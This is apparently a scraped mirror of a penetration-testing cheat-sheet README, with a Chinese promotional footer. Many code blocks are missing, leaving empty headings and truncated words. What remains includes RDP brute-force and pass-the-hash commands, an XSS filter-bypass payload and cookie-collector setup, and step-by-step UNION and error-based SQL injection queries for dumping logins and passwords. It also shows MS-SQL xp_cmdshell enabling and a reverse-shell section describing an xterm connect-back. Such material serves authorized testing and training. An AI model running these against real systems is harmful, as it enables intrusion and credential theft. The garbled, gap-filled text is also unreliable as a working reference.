Pentest-Cheat-Sheets - 代码和命令片段的集合

项目说明

<p align="center">
<img src=" alt="Pentest Cheat Sheets" width="300" />
</p>

<p align="center">
Pentest-Cheat-Sheets<br>
| |
</p>

This repo has a collection of snippets of codes and commands to help our lives!
The main purpose is not be a crutch, this is a way to do not waste our precious time!
This repo also helps who trying to get OSCP. You'll find many ways to do something without Metasploit 框架.

Ninja Tricks

Recon

- DNS
- SPF
- Nmap
- NetCat
- SNMP
- Mysql
- MS SQL
- Web Enumeration

Exploitation

- System Network
- RDP
- Pass The Hash
- Windows-Shell
- Web Application
- Web Remote Code Execution
- LFI
- encode
- XSS
- SQLi
- sqlmap
- Bare Hands
- Jekins

Post-exploitation

- Reverse Shell
- PHP Reverse Shell
- Perl Reverse Shell
- python Reverse Shell
- Ruby Reverse Shell
- bash Reverse Shell
- powershell Reverse Sheel
- Ja Sheel
- Xterm Reverse Sheel
- Linux
- Linux Pri Escalation
- Data Ha and Enumeration
- Linux Pivot
- Sshutle
-
- SSH Tunneling
- Linux Backdoring
- Windows
- Windows Enumeration
- Windows Pri Escalation
- Hashdump
- Transferring Files Without Metasploit
- Backdoring
- Windows Pivot
- Openssh for Tunneling
- Plink

Resources

- HTTP/HTTPS Servers
- Wordlist
- seclist
- cotse
- PacketStorm
- Default Passwords
- Default Passoword
- Router Password
- Leak
- Pastebin
- Tables

Contribution

Recon

DNS

Nslookup

Resolve a gi to the corresponding IP.

Reverse DNS lookup

MX(Mail Exchange) lookup

Zone Transfer

#### Using nslookup Command

#### Using HOST Command

host -t ns(Name 服务端) < domain >

after that test nameservers

host -l < domain > < nameserver >

Nmap Dns Enumaration

Auto tools

#### DNSenum

#### DNSmap

Brute Force, the file is saved in /tmp

#### DNSRecon DNS Brute Force

#### Fierce.pl

#### HostMap

We can use -with-zonetransfer or -bruteforce-level

##

SPF Recon

Dig SPF txt

#### Dmarc

#### Online Tools

##

Nmap

Set the ip address as a

export ip=192.168.1.100
export netw=192.168.1.0/24

Detecting Li

Only Ip's

Stealth Scan

Only Open Ports and Banner Grab

Stealth scan using FIN Scan

Agressive scan

Without Ping scan, no dns resolution, show only open ports all and test All TCP Ports

Nmap scan, runs syn stealth, T4 timing, OS and service info, traceroute and scripts against services

OS FigerPrint

Quick Scan

Quick Scan Plus

output to a file

output to a file Plus

Search NMAP scripts

Nmap Discovery

##

NetCat

Port Scanner

One port

Port Range

Send files

Server

Client

Executing remote script

Server

Client

Chat with encryption

Server

Client

Banner Grabbing

Request

Response

If this site uses https you need to use openssl

##

SNMP

Fixing SNMP output

OneSixtyone

onesixtyone -c COMMUNITY_FILE -i Target_ip

snmpwalk

Walking MIB's

snmpwalk -c COMMUNITY - target_ip

specific MIB node
snmpwalk -c community - Target IP MIB Node
Example: USER ACCOUNTS = 1.3.6.1.4.1.77.1.2.25

snmp-check

snmp-check -t target_IP | snmp-check -t TARGET -c COMMUNITY

Automate the username enumeration process for SNMPv3

NMAP SNMPv3 Enumeration

Default Credentials

##

MYSQL

Try remote default Root access

Mysql Open to wild

MSSQL

MSQL Information Gathering

Web Enumeration

Dirsearch

dirb

Gobuster

##

Exploitation

System Network

RDP

xfreerdp

##### Simple User Enumeration for Windows Target (kerberos based)

xfreerdp /v:<target_ip> -sec-nla /u:""

login

xfreerdp /u:<user> /g:<domain> /p:<pass> /v:<target_ip>

#### Wordlist based bruteforce

NCRACK

ncrack -/-U <username/username_wordlist> --pass/-P <password/password_wordlist> <target_ip>:3389

Crowbar

crowbar -b rdp <-u/-U user/user_wordlist> -c/-C <password/password_wordlist> -s <target_ip>/32 -v

Pass the hash

Smb pass the hash

#### Tool:

pth-toolkit

Listing shared folders

sudo pth-smbclient --user=<user> --pw-nt-hash -m smb3 -L <target_ip> \\\\<target_ip>\\ <hash>

Interactive smb shell

sudo pth-smbclient --user=<user> --pw-nt-hash -m smb3 \\\\<target_ip>\\shared_folder <hash>

Web Application

Web Remote code

LFI (Local File Inclusion)

Situation

#### How to Test

#### LFI Payloads

Payload All the Things

Seclist LFI Intruder

encode

XSS

Reflected

#### Simple test

This is a simple test to see what happens, this is not a prove that the field is vuln to xss

#### Simple XSS test

#### Bypass filter of tag script

" onload="alert(String.fromCharCode(88,83,83))

bla is not a valid image, so this cause an error

Persistent

PHP collector

> cookie.txt
chmod 777 cookie.txt

edit a php page like colector.php as follow:

Script to put in page:

#### Malware Donwloader via XSS

#### How to play Mario with XSS

#### XSS payloads

Payload All The Things

Seclist XSS

SQLI

Sql Injection

Sqlmap

#### GET

#### Error-Based

#### Simple test

Adding a simpe quote '

Example:

#### List databases

#### List tables

#### List columns

#### Dump all

#### Set Cookie

#### Checking Pri

#### Reading file

#### Writing file

#### POST

You can also use a file like with the post request:

Bare Hands

#### GET

#### Error-Based

#### Simple test

Adding a simpe quote '

Example:

#### Fuzzing

Sorting columns to find maximum column

order by 1

order by 2

order by 3

(until it stop returning errors)

---

#### Finding what column is injectable

mysql

union select 1, 2, 3

(using the same amount of columns you got on the previous step)

postgresql

union select NULL, NULL, NULL

(using the same amount of columns you got on the previous step)

one of the columns will be printed with the respecti

---

#### Finding

mysql

union select 1, 2, ()

postgres

union select NULL, NULL, ()

#### Finding database name

mysql

union select 1,2, database()

postgres

union select NULL,NULL, database()

#### Finding usernames logged in

mysql

union select 1, 2, current_user()

#### Finding databases

mysql

union select 1, 2, schema_name from information_schema.schemata

postgres

union select 1, 2, datname from pg_database

#### Finding table names from a database

mysql

postgres

#### Finding column names from a table

mysql

postgres

#### Concatenate

Example:

union select 1, 2, login from users;
union select 1, 2, password from users;

in one query

union select 1, 2, concat(login,':',password) from users; mysql
union select 1, 2, login||':'||password from users; postgres

Error Based SQLI (USUALLY MS-SQL)

#### Current user

or 1 in (SELECT TOP 1 CAST(user_name() as (4096)))--

#### DBMS

or 1 in (SELECT TOP 1 CAST(@@ as (4096)))--

#### Database name

or db_name(0)=0 --

#### Tables from a database

or 1 in (SELECT TOP 1 CAST(name as (4096)) FROM dbname..sysobjects where xtype='U')--

---

or 1 in (SELECT TOP 1 CAST(name as (4096)) FROM dbname..sysobjects where xtype='U' AND name NOT IN ('pre',...))--

#### Columns within a table

or 1 in (SELECT TOP 1 CAST(dbname..syscolumns.name as (4096)) FROM dbname..syscolumns, dbname..sysobjects WHERE dbname..syscolumns.id=dbname..sysobjects.id AND dbname..sysobjects.name = 'tablename')--

> remember to change dbname and tablename accordingly with the gi
> after each iteration a new column name will be found, make sure add it to pre found column name separated by comma as on the next sample

or 1 in (SELECT TOP 1 CAST(dbname..syscolumns.name as (4096)) FROM dbname..syscolumns, dbname..sysobjects WHERE dbname..syscolumns.id=dbname..sysobjects.id AND dbname..sysobjects.name = 'tablename' AND dbname..syscolumns.name NOT IN('pre found column name', ...))--

#### Actual data

or 1 in (SELECT TOP 1 CAST(columnName as (4096)) FROM tablename)--

> after each iteration a new column name will be found, make sure add it to pre found column name separated by comma as on the next sample

or 1 in (SELECT TOP 1 CAST(columnName as (4096)) FROM tablename AND name NOT IN('pre found row data'))--

#### Shell commands

EXEC master..xp_cmdshell <command>

> you need yo be 'sa' user

#### Enabling shell commands

EXEC sp_configure 'show ad options', 1; RECONFIGURE; EXEC sp_congigure 'xp_shell', 1; RECONFIGURE;

Jenkins

##

Post Exploitation

Reverse Shell

PHP Reverse Shell

Tiny Reverse Shell

Perl Reverse Shell

Python Reverse Shell

Ruby Reverse Shell

Bash Reverse Shell

Powershell Reverse Shell

Create a simple powershell script called reverse.ps1:

Ja Shell

Xterm Reverse Shell

One of the simplest forms of reverse shell is an xterm session. The following command should be run on the 服务端. It will try to connect back to you (10.0.0.1) on TCP port 6001.

To catch the incoming xterm, start an X-服务端 (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):

You’ll need to authorise the target to connect to you (command also run on your host):

##

Linux

Windows

Transferring Files Without Metasploit

#### Powershell

Download files with powershell

Creating a server with python3

Creating a server with python2

#### FTP

You need to create a FTP server

Ser

Allow anonymous

Windows Client

we can simply run ftp -s:ftp_commands.txt and we can download a file with no user interaction.

like this:

#### Apache Server

server

Put your files into /var/www/html

client

Get via web browser, wget or powershell...

Windows Pi

#### Openssh for Tunneling

Once you got SYSTEM on the target machine. download: openssh_for_windows

Then install it:

Now if you need, just adjust the firewall rules to your needs:

Start the sshd service:

After these steps a regular ssh tunnel would sufice:

From your linux machine:

done you have now a socks to tunnel through!!

##

Resources

##

#### HTTP/HTTPS Servers

HTTPS using Python

Create the Certificate:

Start the HTTPS Server

Wordlists

Wordlists

- PacketStorm
- SecList
- cotse

Default Password

- DefaultPassword
- RouterPassword

Leak

- Pastebin

Tables

- RainbowCrack

##

Contribution

HOW TO

项目信息

开发语言：Shell

Star 数：2945

技术要点

该项目属于黑客技术方向的开源资源，代码结构清晰，适合安全研究人员学习参考。项目围绕A collection of snippets of codes and commands to make your life easier! 展开，提供了可运行的实现，对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。

从技术实现角度看，此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论，梳理项目的初始化流程、核心模块职责与数据流转，逐步掌握其中的技术细节与设计思路。

使用与学习建议

1. 下载源码压缩包，解压到本地环境。

2. 根据项目类型准备对应的运行环境与依赖。

3. 按照 README 中的步骤完成配置与部署。

4. 在隔离的测试环境中运行验证，避免影响生产系统。

免责声明

本资源来源于开源社区，仅供安全研究、技术学习与合法授权范围内的攻防演练使用，请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。